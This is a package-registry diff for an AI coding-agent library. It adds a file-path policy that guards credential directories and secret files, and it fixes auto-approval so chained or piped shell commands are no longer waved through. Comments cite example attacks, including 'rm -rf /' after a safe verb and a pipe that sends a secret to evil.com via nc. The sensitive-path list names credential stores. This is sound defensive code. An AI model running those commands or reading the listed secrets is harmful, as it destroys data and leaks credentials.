@cjhyy/code-shell-core 0.5.0-rc.1 → 0.5.0-rc.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (278) hide show
  1. package/dist/agent/agent-definition-registry.d.ts +18 -3
  2. package/dist/agent/agent-definition-registry.js +47 -18
  3. package/dist/agent/agent-definition.d.ts +17 -0
  4. package/dist/agent/agent-definition.js +22 -1
  5. package/dist/arena/arena.js +11 -12
  6. package/dist/arena/context/context-tools.js +2 -4
  7. package/dist/arena/context/within-root.d.ts +7 -0
  8. package/dist/arena/context/within-root.js +15 -0
  9. package/dist/arena/iterate/phases/argue.js +8 -2
  10. package/dist/arena/iterate/phases/revise.js +1 -1
  11. package/dist/arena/iterate/phases/tournament.js +3 -3
  12. package/dist/arena/phases/adjudication.js +1 -4
  13. package/dist/arena/phases/build-consensus.js +1 -4
  14. package/dist/arena/phases/cross-review.js +2 -8
  15. package/dist/arena/phases/debate-rounds.js +1 -4
  16. package/dist/arena/phases/participant-research.js +1 -4
  17. package/dist/arena/phases/planning-detail-expansion.js +8 -10
  18. package/dist/arena/planner.js +0 -1
  19. package/dist/arena/providers/docs.d.ts +1 -0
  20. package/dist/arena/providers/docs.js +5 -2
  21. package/dist/arena/providers/repo.d.ts +1 -0
  22. package/dist/arena/providers/repo.js +5 -2
  23. package/dist/arena/strategies/utils.js +36 -3
  24. package/dist/arena/transitions.d.ts +7 -2
  25. package/dist/arena/transitions.js +9 -4
  26. package/dist/arena/types.d.ts +8 -2
  27. package/dist/automation/cron-expr.d.ts +31 -0
  28. package/dist/automation/cron-expr.js +151 -0
  29. package/dist/automation/index.d.ts +41 -0
  30. package/dist/automation/index.js +39 -0
  31. package/dist/automation/runner.d.ts +67 -0
  32. package/dist/automation/runner.js +56 -0
  33. package/dist/automation/scheduler.d.ts +156 -0
  34. package/dist/automation/scheduler.js +546 -0
  35. package/dist/automation/store.d.ts +39 -0
  36. package/dist/automation/store.js +119 -0
  37. package/dist/automation/write-policy.d.ts +34 -0
  38. package/dist/automation/write-policy.js +113 -0
  39. package/dist/automation/write-run.d.ts +51 -0
  40. package/dist/automation/write-run.js +38 -0
  41. package/dist/capability-control/index.d.ts +5 -0
  42. package/dist/capability-control/index.js +3 -0
  43. package/dist/capability-control/overlay.d.ts +49 -0
  44. package/dist/capability-control/overlay.js +89 -0
  45. package/dist/capability-control/project.d.ts +65 -0
  46. package/dist/capability-control/project.js +147 -0
  47. package/dist/capability-control/service.d.ts +70 -0
  48. package/dist/capability-control/service.js +147 -0
  49. package/dist/capability-control/types.d.ts +62 -0
  50. package/dist/capability-control/types.js +17 -0
  51. package/dist/cli/agent-server-stdio.d.ts +12 -1
  52. package/dist/cli/agent-server-stdio.js +114 -19
  53. package/dist/cli/agent-server-tcp.d.ts +20 -0
  54. package/dist/cli/agent-server-tcp.js +120 -0
  55. package/dist/cli/graceful-shutdown.d.ts +27 -0
  56. package/dist/cli/graceful-shutdown.js +30 -0
  57. package/dist/context/compaction.js +23 -15
  58. package/dist/context/manager.d.ts +0 -20
  59. package/dist/context/manager.js +0 -37
  60. package/dist/cron/cron-runtime.d.ts +2 -0
  61. package/dist/cron/cron-runtime.js +2 -0
  62. package/dist/cron/cron-store.d.ts +2 -0
  63. package/dist/cron/cron-store.js +2 -0
  64. package/dist/cron/scheduler.d.ts +5 -32
  65. package/dist/cron/scheduler.js +5 -113
  66. package/dist/data/openrouter-sync.js +1 -1
  67. package/dist/engine/engine.d.ts +208 -14
  68. package/dist/engine/engine.js +754 -169
  69. package/dist/engine/goal.d.ts +42 -0
  70. package/dist/engine/goal.js +52 -0
  71. package/dist/engine/image-compression.d.ts +81 -0
  72. package/dist/engine/image-compression.js +186 -0
  73. package/dist/engine/image-policy.d.ts +152 -0
  74. package/dist/engine/image-policy.js +165 -0
  75. package/dist/engine/reactive-threshold.d.ts +13 -0
  76. package/dist/engine/reactive-threshold.js +17 -0
  77. package/dist/engine/runtime.js +7 -0
  78. package/dist/engine/session-title.d.ts +13 -0
  79. package/dist/engine/session-title.js +34 -0
  80. package/dist/engine/turn-loop.d.ts +29 -8
  81. package/dist/engine/turn-loop.js +498 -316
  82. package/dist/git/parse-log.d.ts +13 -0
  83. package/dist/git/parse-log.js +21 -0
  84. package/dist/git/utils.d.ts +8 -6
  85. package/dist/git/utils.js +57 -26
  86. package/dist/git/worktree.js +33 -18
  87. package/dist/hooks/events.d.ts +23 -1
  88. package/dist/hooks/goal-stop-hook.d.ts +30 -0
  89. package/dist/hooks/goal-stop-hook.js +102 -0
  90. package/dist/hooks/hook-output.d.ts +33 -0
  91. package/dist/hooks/hook-output.js +79 -0
  92. package/dist/hooks/registry.d.ts +7 -0
  93. package/dist/hooks/registry.js +38 -1
  94. package/dist/hooks/shell-runner.d.ts +2 -0
  95. package/dist/hooks/shell-runner.js +43 -2
  96. package/dist/index.d.ts +31 -6
  97. package/dist/index.js +30 -3
  98. package/dist/llm/capabilities/reasoning-control.d.ts +24 -0
  99. package/dist/llm/capabilities/reasoning-control.js +38 -0
  100. package/dist/llm/capabilities/rules.js +33 -3
  101. package/dist/llm/capabilities/types.d.ts +22 -2
  102. package/dist/llm/clamp-max-tokens.d.ts +11 -0
  103. package/dist/llm/clamp-max-tokens.js +17 -0
  104. package/dist/llm/client-base.d.ts +41 -4
  105. package/dist/llm/client-base.js +67 -13
  106. package/dist/llm/client-factory.d.ts +3 -3
  107. package/dist/llm/client-factory.js +2 -2
  108. package/dist/llm/model-pool.d.ts +15 -11
  109. package/dist/llm/model-pool.js +23 -20
  110. package/dist/llm/provider-catalog.d.ts +2 -2
  111. package/dist/llm/providers/anthropic.d.ts +32 -2
  112. package/dist/llm/providers/anthropic.js +147 -8
  113. package/dist/llm/providers/openai.d.ts +11 -2
  114. package/dist/llm/providers/openai.js +253 -52
  115. package/dist/llm/reasoning-setting.d.ts +51 -0
  116. package/dist/llm/reasoning-setting.js +32 -0
  117. package/dist/llm/stop-reason.d.ts +13 -0
  118. package/dist/llm/stop-reason.js +21 -0
  119. package/dist/llm/strip-vision.d.ts +32 -0
  120. package/dist/llm/strip-vision.js +94 -0
  121. package/dist/llm/types.d.ts +5 -6
  122. package/dist/logging/logger.js +18 -4
  123. package/dist/logging/sanitize-messages.d.ts +10 -0
  124. package/dist/logging/sanitize-messages.js +90 -0
  125. package/dist/lsp/client.js +28 -8
  126. package/dist/lsp/manager.js +2 -1
  127. package/dist/lsp/root-path.d.ts +9 -0
  128. package/dist/lsp/root-path.js +12 -0
  129. package/dist/onboarding.js +18 -11
  130. package/dist/plugins/gitOps.d.ts +34 -0
  131. package/dist/plugins/gitOps.js +59 -3
  132. package/dist/plugins/installer/codex/convertAgents.d.ts +7 -0
  133. package/dist/plugins/installer/codex/convertAgents.js +55 -0
  134. package/dist/plugins/installer/codex/convertMcp.d.ts +8 -0
  135. package/dist/plugins/installer/codex/convertMcp.js +45 -0
  136. package/dist/plugins/installer/codex/convertSkills.d.ts +12 -0
  137. package/dist/plugins/installer/codex/convertSkills.js +33 -0
  138. package/dist/plugins/installer/detectFormat.d.ts +2 -0
  139. package/dist/plugins/installer/detectFormat.js +6 -0
  140. package/dist/plugins/installer/install.d.ts +7 -0
  141. package/dist/plugins/installer/install.js +99 -0
  142. package/dist/plugins/installer/installFromSource.d.ts +13 -0
  143. package/dist/plugins/installer/installFromSource.js +45 -0
  144. package/dist/plugins/installer/list.d.ts +9 -0
  145. package/dist/plugins/installer/list.js +30 -0
  146. package/dist/plugins/installer/loadPluginAgents.d.ts +3 -0
  147. package/dist/plugins/installer/loadPluginAgents.js +23 -0
  148. package/dist/plugins/installer/loadPluginMcp.d.ts +7 -0
  149. package/dist/plugins/installer/loadPluginMcp.js +74 -0
  150. package/dist/plugins/installer/parseSource.d.ts +20 -0
  151. package/dist/plugins/installer/parseSource.js +74 -0
  152. package/dist/plugins/installer/paths.d.ts +5 -0
  153. package/dist/plugins/installer/paths.js +25 -0
  154. package/dist/plugins/installer/types.d.ts +49 -0
  155. package/dist/plugins/installer/types.js +27 -0
  156. package/dist/plugins/installer/uninstall.d.ts +2 -0
  157. package/dist/plugins/installer/uninstall.js +14 -0
  158. package/dist/plugins/installer/update.d.ts +14 -0
  159. package/dist/plugins/installer/update.js +65 -0
  160. package/dist/plugins/loadPluginHooks.d.ts +8 -1
  161. package/dist/plugins/loadPluginHooks.js +11 -1
  162. package/dist/plugins/marketplaceManager.d.ts +8 -1
  163. package/dist/plugins/marketplaceManager.js +38 -4
  164. package/dist/plugins/pluginCommandHook.js +34 -0
  165. package/dist/plugins/pluginInstaller.d.ts +21 -0
  166. package/dist/plugins/pluginInstaller.js +128 -29
  167. package/dist/plugins/schemas.js +40 -6
  168. package/dist/plugins/types.d.ts +4 -0
  169. package/dist/preset/index.js +16 -0
  170. package/dist/prompt/composer.d.ts +4 -0
  171. package/dist/prompt/composer.js +28 -4
  172. package/dist/prompt/sections/orchestration.md +8 -0
  173. package/dist/protocol/chat-session-manager.d.ts +8 -1
  174. package/dist/protocol/chat-session-manager.js +10 -0
  175. package/dist/protocol/chat-session.d.ts +17 -0
  176. package/dist/protocol/chat-session.js +28 -0
  177. package/dist/protocol/redact.d.ts +50 -0
  178. package/dist/protocol/redact.js +71 -0
  179. package/dist/protocol/server.d.ts +41 -2
  180. package/dist/protocol/server.js +231 -33
  181. package/dist/protocol/tcp-transport.d.ts +45 -0
  182. package/dist/protocol/tcp-transport.js +74 -0
  183. package/dist/protocol/types.d.ts +23 -0
  184. package/dist/protocol/types.js +6 -0
  185. package/dist/remote/bridge.d.ts +11 -2
  186. package/dist/remote/bridge.js +61 -33
  187. package/dist/run/ArtifactTracker.js +5 -4
  188. package/dist/run/EngineRunner.d.ts +27 -1
  189. package/dist/run/EngineRunner.js +46 -8
  190. package/dist/run/FileRunStore.js +32 -8
  191. package/dist/run/RunLock.d.ts +28 -2
  192. package/dist/run/RunLock.js +49 -7
  193. package/dist/run/RunManager.js +51 -3
  194. package/dist/run/RunQueue.d.ts +1 -0
  195. package/dist/run/RunQueue.js +8 -2
  196. package/dist/run/factory.d.ts +7 -0
  197. package/dist/run/factory.js +1 -0
  198. package/dist/run/index.d.ts +2 -2
  199. package/dist/run/index.js +1 -1
  200. package/dist/run/redirect-target.d.ts +7 -0
  201. package/dist/run/redirect-target.js +13 -0
  202. package/dist/run/types.js +1 -1
  203. package/dist/services/browser-open.d.ts +13 -0
  204. package/dist/services/browser-open.js +16 -0
  205. package/dist/services/dream-consolidation.d.ts +57 -0
  206. package/dist/services/dream-consolidation.js +151 -0
  207. package/dist/services/memory-orchestrator.js +18 -0
  208. package/dist/services/notifier.d.ts +8 -0
  209. package/dist/services/notifier.js +39 -25
  210. package/dist/services/oauth.js +5 -7
  211. package/dist/services/session-memory-sort.d.ts +8 -0
  212. package/dist/services/session-memory-sort.js +9 -0
  213. package/dist/services/session-memory.js +8 -9
  214. package/dist/session/file-history.js +10 -3
  215. package/dist/session/session-manager.d.ts +23 -1
  216. package/dist/session/session-manager.js +73 -2
  217. package/dist/settings/disk-defaults.d.ts +35 -0
  218. package/dist/settings/disk-defaults.js +24 -0
  219. package/dist/settings/manager.d.ts +33 -0
  220. package/dist/settings/manager.js +94 -1
  221. package/dist/settings/personalization.d.ts +19 -0
  222. package/dist/settings/personalization.js +7 -0
  223. package/dist/settings/schema.d.ts +1142 -126
  224. package/dist/settings/schema.js +119 -10
  225. package/dist/tool-system/builtin/add-marketplace.d.ts +12 -0
  226. package/dist/tool-system/builtin/add-marketplace.js +76 -0
  227. package/dist/tool-system/builtin/agent-registry.d.ts +11 -0
  228. package/dist/tool-system/builtin/agent-registry.js +8 -4
  229. package/dist/tool-system/builtin/agent.d.ts +29 -10
  230. package/dist/tool-system/builtin/agent.js +108 -52
  231. package/dist/tool-system/builtin/apply-patch/index.js +22 -3
  232. package/dist/tool-system/builtin/arena.js +6 -7
  233. package/dist/tool-system/builtin/complete-goal.d.ts +25 -0
  234. package/dist/tool-system/builtin/complete-goal.js +45 -0
  235. package/dist/tool-system/builtin/cron.js +53 -9
  236. package/dist/tool-system/builtin/edit.d.ts +2 -1
  237. package/dist/tool-system/builtin/edit.js +6 -1
  238. package/dist/tool-system/builtin/generate-image.d.ts +25 -0
  239. package/dist/tool-system/builtin/generate-image.js +146 -0
  240. package/dist/tool-system/builtin/glob.js +7 -0
  241. package/dist/tool-system/builtin/grep.js +6 -0
  242. package/dist/tool-system/builtin/index.d.ts +18 -1
  243. package/dist/tool-system/builtin/index.js +62 -1
  244. package/dist/tool-system/builtin/notebook-edit.d.ts +2 -1
  245. package/dist/tool-system/builtin/notebook-edit.js +8 -1
  246. package/dist/tool-system/builtin/read.d.ts +2 -1
  247. package/dist/tool-system/builtin/read.js +9 -1
  248. package/dist/tool-system/builtin/sleep.js +9 -3
  249. package/dist/tool-system/builtin/task.js +4 -1
  250. package/dist/tool-system/builtin/update-automation-memory.d.ts +24 -0
  251. package/dist/tool-system/builtin/update-automation-memory.js +60 -0
  252. package/dist/tool-system/builtin/view-image.d.ts +18 -0
  253. package/dist/tool-system/builtin/view-image.js +96 -0
  254. package/dist/tool-system/builtin/web-search.d.ts +4 -1
  255. package/dist/tool-system/builtin/web-search.js +36 -3
  256. package/dist/tool-system/builtin/write.d.ts +2 -1
  257. package/dist/tool-system/builtin/write.js +7 -1
  258. package/dist/tool-system/context.d.ts +12 -0
  259. package/dist/tool-system/executor.d.ts +0 -1
  260. package/dist/tool-system/executor.js +34 -40
  261. package/dist/tool-system/investigation-guard.d.ts +4 -1
  262. package/dist/tool-system/investigation-guard.js +19 -3
  263. package/dist/tool-system/mcp-manager.d.ts +36 -12
  264. package/dist/tool-system/mcp-manager.js +173 -10
  265. package/dist/tool-system/path-policy.d.ts +94 -0
  266. package/dist/tool-system/path-policy.js +279 -0
  267. package/dist/tool-system/permission.js +43 -50
  268. package/dist/tool-system/plan-mode-allowlist.d.ts +21 -0
  269. package/dist/tool-system/plan-mode-allowlist.js +43 -0
  270. package/dist/tool-system/registry.js +12 -1
  271. package/dist/tool-system/validation.d.ts +10 -0
  272. package/dist/tool-system/validation.js +16 -3
  273. package/dist/types.d.ts +90 -15
  274. package/dist/utils/format.js +4 -2
  275. package/dist/utils/lockfile.js +9 -2
  276. package/dist/utils/theme.d.ts +6 -0
  277. package/dist/utils/theme.js +4 -2
  278. package/package.json +2 -1
@@ -0,0 +1,279 @@
1
+ /**
2
+ * PathPolicy — shared classifier for file-tool path safety.
3
+ *
4
+ * Today the file tools (Read, Write, Edit, ApplyPatch, NotebookEdit) operate
5
+ * directly on host paths with no shared safety layer. acceptEdits / Bash
6
+ * sandboxing don't help here: a Write that an LLM points at ~/.aws/credentials
7
+ * or a path outside the workspace gets silently honored.
8
+ *
9
+ * This module is the MVP boundary called out in
10
+ * docs/superpowers/plans/2026-05-27-core-quality-iteration.md, Workstream B.
11
+ *
12
+ * Decision shape:
13
+ * "allow" — proceed without prompting (in-workspace and not sensitive)
14
+ * "ask" — caller must obtain user approval (outside workspace, OR
15
+ * sensitive-path read)
16
+ * "deny" — refuse outright (sensitive-path write)
17
+ *
18
+ * The classifier is pure: it resolves symlinks (best effort), checks against
19
+ * an explicit sensitive list, then compares against the workspace root. It
20
+ * never reads the file; the caller is the one with IO.
21
+ *
22
+ * Rollout escape hatch:
23
+ * CODESHELL_PATH_POLICY=off → classifyPath returns "allow" for everything
24
+ * (logged once per process). This is the reversible-rollout switch
25
+ * recorded in the plan's Definition of Done.
26
+ *
27
+ * acceptEdits cannot bypass this layer — by design, acceptEdits is a
28
+ * permission-system shortcut that lets routine in-workspace edits skip an
29
+ * approval round-trip; it is not an authority to write anywhere on disk.
30
+ * Callers must consult classifyPath before honoring acceptEdits.
31
+ */
32
+ import { realpathSync } from "node:fs";
33
+ import { homedir } from "node:os";
34
+ import { dirname, isAbsolute, resolve as resolvePath, sep } from "node:path";
35
+ /**
36
+ * Default sensitive path patterns. These are evaluated AFTER home-expansion
37
+ * and resolution, so a literal "$HOME/.ssh" and a symlink at /tmp/x → ~/.ssh
38
+ * are both caught.
39
+ *
40
+ * Mirrors the existing list in sandbox/index.ts so Bash and file tools agree
41
+ * on what "sensitive" means — keep them in sync when adding entries.
42
+ */
43
+ const SENSITIVE_DIR_PATTERNS = [
44
+ ".ssh",
45
+ ".aws",
46
+ ".config/gcloud",
47
+ ".code-shell",
48
+ ".claude",
49
+ ".gnupg",
50
+ ".kube",
51
+ ".docker",
52
+ ];
53
+ /**
54
+ * Files that are sensitive regardless of where they live: an `.env` next to
55
+ * the code, an `id_rsa` in a random folder, etc.
56
+ */
57
+ const SENSITIVE_FILE_PATTERNS = [
58
+ /^\.env(\..+)?$/i, // .env, .env.local, .env.production, …
59
+ /^id_(rsa|dsa|ecdsa|ed25519)(\.pub)?$/i,
60
+ /\.pem$/i,
61
+ /\.p12$/i,
62
+ /\.pfx$/i,
63
+ /auth/i,
64
+ /token/i,
65
+ /credential/i,
66
+ /secret/i,
67
+ ];
68
+ const ENV_DISABLE = "CODESHELL_PATH_POLICY";
69
+ let warnedDisabled = false;
70
+ function policyDisabled() {
71
+ const v = process.env[ENV_DISABLE];
72
+ return v === "off" || v === "0" || v === "false";
73
+ }
74
+ function expandTilde(p) {
75
+ if (p === "~")
76
+ return homedir();
77
+ if (p.startsWith("~/") || p.startsWith("~" + sep)) {
78
+ return homedir() + p.slice(1);
79
+ }
80
+ return p;
81
+ }
82
+ /**
83
+ * Best-effort resolution. realpath fails when the path doesn't exist yet —
84
+ * the common case for Write creating a new file. We walk up to the nearest
85
+ * existing ancestor, realpath *that*, then re-append the remaining segments.
86
+ *
87
+ * Why this matters: on macOS, /var is a symlink to /private/var, so a
88
+ * tmpdir() workspace at /var/folders/... realpaths to /private/var/folders/...
89
+ * If we naively `resolve()` a non-existing child of the workspace, its
90
+ * prefix won't match the realpathed workspace and an in-workspace write
91
+ * would be misclassified as outside-workspace.
92
+ */
93
+ function safeRealpath(p) {
94
+ const abs = isAbsolute(p) ? p : resolvePath(process.cwd(), p);
95
+ // Walk up to the nearest existing ancestor.
96
+ let candidate = abs;
97
+ const segments = [];
98
+ // Cap the walk so a pathological input can't spin forever.
99
+ for (let i = 0; i < 64; i++) {
100
+ try {
101
+ const resolved = realpathSync(candidate);
102
+ if (segments.length === 0)
103
+ return resolved;
104
+ return resolvePath(resolved, ...segments.reverse());
105
+ }
106
+ catch {
107
+ const parent = dirname(candidate);
108
+ if (parent === candidate) {
109
+ // Reached root without finding anything that exists — return the
110
+ // original absolute form so the caller still has a usable path.
111
+ return abs;
112
+ }
113
+ segments.push(candidate.slice(parent.length + (parent.endsWith(sep) ? 0 : 1)));
114
+ candidate = parent;
115
+ }
116
+ }
117
+ return abs;
118
+ }
119
+ function isInsideDir(child, parent) {
120
+ const p = parent.endsWith(sep) ? parent : parent + sep;
121
+ return child === parent || child.startsWith(p);
122
+ }
123
+ /**
124
+ * Returns the matching sensitive-dir entry (with the user's home prefix) if
125
+ * `resolved` lives underneath any sensitive directory, else undefined.
126
+ */
127
+ function matchSensitiveDir(resolved) {
128
+ const home = homedir();
129
+ for (const rel of SENSITIVE_DIR_PATTERNS) {
130
+ const full = home + sep + rel;
131
+ if (isInsideDir(resolved, full))
132
+ return "~/" + rel;
133
+ }
134
+ return undefined;
135
+ }
136
+ /**
137
+ * Returns the matching pattern label if the basename matches a sensitive
138
+ * file rule, else undefined.
139
+ */
140
+ function matchSensitiveFile(resolved) {
141
+ const base = resolved.slice(resolved.lastIndexOf(sep) + 1);
142
+ for (const re of SENSITIVE_FILE_PATTERNS) {
143
+ if (re.test(base))
144
+ return base;
145
+ }
146
+ return undefined;
147
+ }
148
+ function isSafeCodeShellDiagnosticRead(resolved) {
149
+ const home = homedir();
150
+ const root = home + sep + ".code-shell";
151
+ if (!isInsideDir(resolved, root))
152
+ return false;
153
+ const rel = resolved.slice(root.length + 1);
154
+ const parts = rel.split(sep).filter(Boolean);
155
+ if (parts[0] === "sessions" && /^s-[A-Za-z0-9_-]+$/.test(parts[1] ?? "")) {
156
+ return parts[2] === "tool-results" || parts[2] === "logs" || parts[2] === "transcript";
157
+ }
158
+ if (parts[0] === "logs") {
159
+ const name = parts[1] ?? "";
160
+ return /^(desktop|tui|agent|main)-.+\.log$/i.test(name);
161
+ }
162
+ return false;
163
+ }
164
+ /**
165
+ * Classify a file path against the workspace + sensitive-path policy.
166
+ *
167
+ * Decision matrix:
168
+ *
169
+ * read write
170
+ * inside workspace, not sens. allow allow
171
+ * inside workspace, sensitive ask deny
172
+ * outside workspace, not sens. ask ask
173
+ * outside workspace, sensitive ask deny
174
+ *
175
+ * Sensitive wins over workspace placement: a `.env` checked into the project
176
+ * still asks on read and denies on write.
177
+ */
178
+ export function classifyPath(rawPath, opts) {
179
+ if (typeof rawPath !== "string" || rawPath.length === 0) {
180
+ return { decision: "deny", reason: "empty path", resolvedPath: "" };
181
+ }
182
+ if (policyDisabled()) {
183
+ if (!warnedDisabled) {
184
+ // One-shot stderr nudge so an operator who flipped the flag sees it
185
+ // surfaced. We deliberately don't import the logger here to keep this
186
+ // module dependency-light — sanitize-messages can find this entry
187
+ // separately when callers log their PathPolicy decisions.
188
+ // eslint-disable-next-line no-console
189
+ console.warn(`[path-policy] CODESHELL_PATH_POLICY=${process.env[ENV_DISABLE]} — file path enforcement is OFF`);
190
+ warnedDisabled = true;
191
+ }
192
+ return { decision: "allow", reason: "policy disabled", resolvedPath: rawPath };
193
+ }
194
+ const expanded = expandTilde(rawPath);
195
+ const resolved = safeRealpath(expanded);
196
+ const workspace = safeRealpath(opts.workspaceRoot);
197
+ const sensitiveDir = matchSensitiveDir(resolved);
198
+ const sensitiveFile = matchSensitiveFile(resolved);
199
+ const sensitiveLabel = sensitiveDir ?? sensitiveFile;
200
+ const insideWorkspace = isInsideDir(resolved, workspace);
201
+ // Sensitive: write is always denied, read always asks. Workspace placement
202
+ // doesn't soften the rule — an `.env` in the project still asks on read.
203
+ if (sensitiveLabel) {
204
+ if (opts.operation === "read" && isSafeCodeShellDiagnosticRead(resolved)) {
205
+ return {
206
+ decision: "allow",
207
+ reason: "safe CodeShell diagnostic read",
208
+ resolvedPath: resolved,
209
+ };
210
+ }
211
+ if (opts.operation === "write") {
212
+ return {
213
+ decision: "deny",
214
+ reason: `sensitive path (${sensitiveLabel}): writes are not permitted`,
215
+ resolvedPath: resolved,
216
+ };
217
+ }
218
+ return {
219
+ decision: "ask",
220
+ reason: `sensitive path (${sensitiveLabel}): read requires approval`,
221
+ resolvedPath: resolved,
222
+ };
223
+ }
224
+ if (insideWorkspace) {
225
+ return { decision: "allow", reason: "inside workspace", resolvedPath: resolved };
226
+ }
227
+ // Outside workspace: ask for both read and write. The conservative bias
228
+ // matches the plan's leaning answer to Q1 — ask on sensitive reads, deny
229
+ // on silently-allowed writes; outside-workspace falls in between.
230
+ return {
231
+ decision: "ask",
232
+ reason: "outside workspace: caller approval required",
233
+ resolvedPath: resolved,
234
+ };
235
+ }
236
+ /**
237
+ * Convenience wrapper for the file-tool integration. Pass the ToolContext's
238
+ * cwd (or undefined for non-LLM call sites), the target path, and the
239
+ * operation; returns either null (proceed) or an error string (refuse).
240
+ *
241
+ * Semantics:
242
+ * - decision="allow" → returns null.
243
+ * - decision="deny" → returns a "blocked by path policy" message.
244
+ * - decision="ask" → MVP: without a hooked-up askUser path here, we
245
+ * translate ask → refuse with an explanatory error
246
+ * so the LLM sees the refusal and can choose a
247
+ * different path. This is the conservative choice
248
+ * the plan calls out for the MVP rollout.
249
+ *
250
+ * `workspaceRoot === undefined` is the explicit signal that the caller is
251
+ * NOT an LLM-driven tool invocation (the ToolRegistry always threads ctx
252
+ * through, ctx always carries cwd). Standalone tests, scripts importing
253
+ * a tool function directly, and a few legacy CLI paths can be in this
254
+ * shape — we bypass policy for them rather than pretending process.cwd()
255
+ * is a meaningful workspace. The CODESHELL_PATH_POLICY=off env switch
256
+ * remains the rollback knob for the LLM-driven path.
257
+ */
258
+ export function enforcePathPolicy(filePath, operation, workspaceRoot) {
259
+ if (workspaceRoot === undefined)
260
+ return null;
261
+ const c = classifyPath(filePath, { workspaceRoot, operation });
262
+ if (c.decision === "allow")
263
+ return null;
264
+ if (c.decision === "deny") {
265
+ return `Error: blocked by path policy — ${c.reason}. Path: ${c.resolvedPath}`;
266
+ }
267
+ // ask — MVP refuses with explanatory message until askUser plumbing
268
+ // lands. The conservative bias matches the plan's leaning answer for Q1.
269
+ return `Error: path requires approval — ${c.reason}. Path: ${c.resolvedPath}. ` +
270
+ `Set CODESHELL_PATH_POLICY=off to disable enforcement during a rollback.`;
271
+ }
272
+ /**
273
+ * Internal: reset the "disabled warning" latch. Tests flip the env var
274
+ * between cases and need each one to be able to re-trigger the warning.
275
+ * Not exported on the public surface beyond test usage.
276
+ */
277
+ export function __resetPathPolicyWarnLatchForTests() {
278
+ warnedDisabled = false;
279
+ }
@@ -37,11 +37,10 @@ export class AutoApprovalBackend {
37
37
  if (req.riskLevel === "low") {
38
38
  return { approved: true };
39
39
  }
40
- // Auto-approve common safe patterns
41
- if (this.isSafeOperation(req)) {
42
- return { approved: true };
43
- }
44
- // Auto-deny high-risk dangerous commands
40
+ // Deny gate runs BEFORE the safe-prefix fast-path: a high-risk command
41
+ // must never be auto-approved just because it begins with a "safe" verb
42
+ // (e.g. `mkdir /tmp && rm -rf /`). The classifier already flagged it
43
+ // dangerous; honor that first.
45
44
  if (req.riskLevel === "high") {
46
45
  if (this.delegate) {
47
46
  return this.delegate.requestApproval(req);
@@ -51,11 +50,22 @@ export class AutoApprovalBackend {
51
50
  reason: "auto mode: high-risk operation denied (no interactive approval available)",
52
51
  };
53
52
  }
54
- // Medium risk: delegate if available, otherwise approve
53
+ // Auto-approve common safe patterns (only reachable for low/medium risk).
54
+ if (this.isSafeOperation(req)) {
55
+ return { approved: true };
56
+ }
57
+ // Medium risk that is NOT an established-safe operation: delegate if
58
+ // available, otherwise fail CLOSED (matching the high-risk branch and the
59
+ // "auto = approve safe operations only" contract). Auto-approving here
60
+ // would silently run unvetted commands like `kill`, `npm publish`, or
61
+ // unknown binaries.
55
62
  if (this.delegate) {
56
63
  return this.delegate.requestApproval(req);
57
64
  }
58
- return { approved: true };
65
+ return {
66
+ approved: false,
67
+ reason: "auto mode: medium-risk operation denied (no interactive approval available)",
68
+ };
59
69
  }
60
70
  isSafeOperation(req) {
61
71
  const { toolName, args } = req;
@@ -67,42 +77,15 @@ export class AutoApprovalBackend {
67
77
  return true;
68
78
  }
69
79
  }
70
- // Safe bash commands
80
+ // Safe bash commands. Reuse the metacharacter-aware classifier instead of
81
+ // a naive startsWith() prefix match — the latter only inspects the first
82
+ // token and is blind to command chaining (`&&`/`||`/`;`), substitution,
83
+ // redirection, and pipe-to-shell, so `mkdir /tmp && rm -rf /` would slip
84
+ // through. classifyBashCommand/scanShellCommand handle all of those.
71
85
  if (toolName === "Bash") {
72
86
  const cmd = String(args.command ?? "");
73
- const safePrefixes = [
74
- "git ",
75
- "npm ",
76
- "pnpm ",
77
- "yarn ",
78
- "npx ",
79
- "node ",
80
- "tsc ",
81
- "eslint ",
82
- "prettier ",
83
- "vitest ",
84
- "jest ",
85
- "cargo ",
86
- "go ",
87
- "python ",
88
- "pip ",
89
- "make ",
90
- "ls ",
91
- "cat ",
92
- "head ",
93
- "tail ",
94
- "wc ",
95
- "echo ",
96
- "mkdir ",
97
- "touch ",
98
- "pwd",
99
- "whoami",
100
- "date",
101
- "which ",
102
- ];
103
- if (safePrefixes.some((p) => cmd.startsWith(p))) {
104
- return true;
105
- }
87
+ const level = classifyBashCommand(cmd);
88
+ return level === "safe-read" || level === "safe-write";
106
89
  }
107
90
  return false;
108
91
  }
@@ -455,20 +438,30 @@ function scanShellCommand(input) {
455
438
  function classifySegment(segment) {
456
439
  if (DANGEROUS_PATTERNS.some((p) => p.test(segment)))
457
440
  return "dangerous";
458
- if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
459
- return "safe-read";
460
- if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
461
- return "safe-write";
462
- // Pipe handling within a segment: every command in the pipe must
463
- // independently classify as safe-read for the segment to count as
464
- // safe-read. We did not split on `|` in the scanner because pipes
465
- // are not statement boundaries; they're per-segment data flow.
441
+ // Pipe handling FIRST: every command in the pipe must independently
442
+ // classify as safe-read for the segment to count as safe-read. This has to
443
+ // run before the whole-segment SAFE_READ/SAFE_WRITE match below, because
444
+ // those patterns are head-anchored (e.g. /^echo\s/) and would match
445
+ // `echo secret | nc evil.com` on its `echo ` head while ignoring the
446
+ // `| nc ...` exfil tail declaring a piped-to-network command safe-read.
447
+ // We did not split on `|` in the scanner because pipes are not statement
448
+ // boundaries; they're per-segment data flow.
466
449
  if (segment.includes("|")) {
450
+ // A pipe part may be an argument-less command (`ls`, `pwd`) whose trailing
451
+ // space was stripped along with the `|`. Test each part both as-is (for
452
+ // `$`-anchored patterns like /^pwd$/) and with a trailing space appended
453
+ // (for `\s`-delimited patterns like /^ls\s/), so neither form is missed.
467
454
  const parts = segment.split("|").map((p) => p.trim());
468
- if (parts.every((p) => SAFE_READ_PATTERNS.some((re) => re.test(p)))) {
455
+ const partIsSafeRead = (p) => SAFE_READ_PATTERNS.some((re) => re.test(p) || re.test(`${p} `));
456
+ if (parts.every(partIsSafeRead)) {
469
457
  return "safe-read";
470
458
  }
459
+ return "unsafe";
471
460
  }
461
+ if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
462
+ return "safe-read";
463
+ if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
464
+ return "safe-write";
472
465
  return "unsafe";
473
466
  }
